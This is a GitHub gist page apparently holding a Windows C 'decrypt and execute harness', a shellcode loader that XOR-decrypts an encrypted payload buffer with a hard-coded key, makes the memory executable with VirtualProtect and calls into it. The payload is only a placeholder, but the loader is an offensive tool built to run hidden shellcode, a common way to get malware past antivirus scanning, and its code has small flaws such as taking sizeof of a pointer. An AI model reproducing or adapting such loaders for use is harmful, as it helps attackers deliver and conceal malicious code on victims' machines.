Created
August 31, 2017 02:35
-
-
Save multiplex3r/a14b8c0199b488a58022a16b738f2c27 to your computer and use it in GitHub Desktop.
Decrypt and execute harness
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
unsigned char buf[] = | |
"your" | |
"encrypted" | |
"shellcode" | |
"here"; | |
char* decryptPayload(){ | |
char key[] = { 0xDE, 0xAD, 0xBE, 0xEF }; | |
char* decrypted = malloc(sizeof(buf) + 50); | |
if (decrypted != NULL){ | |
for(int i = 0; i < sizeof(buf); i++){ | |
decrypted[i] = buf[i] ^ key[i % 4]; | |
}; | |
} | |
return decrypted; | |
} | |
void executePayload(char* decrypted){ | |
DWORD pewpewpew; | |
VirtualProtect(decrypted, sizeof(decrypted),PAGE_EXECUTE_READWRITE, &pewpewpew); | |
((void (*)(void))decrypted)(); | |
} | |
void main(){ | |
executePayload(decryptPayload()); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment